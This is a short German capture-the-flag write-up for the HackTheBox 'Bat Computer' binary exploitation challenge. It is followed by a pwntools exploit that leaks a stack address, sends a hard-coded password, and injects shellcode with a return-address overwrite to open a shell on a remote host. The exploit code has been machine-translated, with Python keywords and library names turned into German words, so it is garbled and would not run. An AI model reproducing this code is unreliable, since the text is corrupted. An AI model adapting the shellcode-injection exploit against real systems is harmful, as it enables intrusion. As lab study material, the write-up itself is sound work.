Wir haben ein Szenario mit Pufferüberlauf behandelt, bei dem eine Variable als vorzeichenlose Ganzzahl deklariert und dann in die Funktion ulong umgewandelt wurde. Dadurch konnten wir '-1' als Eingabe an diese Variable senden, was den Programmausführungsfluss in eine if-Anweisung umleitete, die einen Ausschnitt enthielt, in dem eine Namensvariable mit 96 Bytes eine uneingeschränkte Eingabe vom Benutzer akzeptierte, was zu einem Segmentierungsfehler führte. Wir berechneten den Offset mithilfe von pwndbg mit Python und erstellten den endgültigen Exploit. Dies war Teil von HackTheBox Bat Computer | Einführung in die binäre Ausnutzung
Hinweise zu Pufferüberlauftechniken
Der Exploit-Code ist unten
##Anfang
aus pwn importieren *
Kontext.binär = ELF('./batcomputer')
con = Fernbedienung(‘157.245.39.76’,31662)
Mit.Sendeleitung(‘1’)
Mit.zurückrufen('0x')
Stapelbasis = int((„0x“+con.Empfang().dekodieren('lateinisch-1').Teilt()[0]),16)
Protokoll.Erfolg(F'Stapelbasis: {verhexen(Stapelbasis)}‘)
Mit.Sendeleitung(‘2’)
Mit.Sendeleitung(„b4tp@$$w0rd!“)
Nutzlast = asm(Muschelhandwerk.papa() + Muschelhandwerk.Sch()) #-Shellcode
Nutzlast += B'A'*(84 – len(Nutzlast)) # nein
Nutzlast += Seite 64(Stapelbasis) # Stapelbasis
Mit.Sendeleitung(Nutzlast)
Mit.Sendeleitung(‘3’)
Mit.interaktiv()
##Ende
Video-Komplettlösung
Anmerkungen anzeigen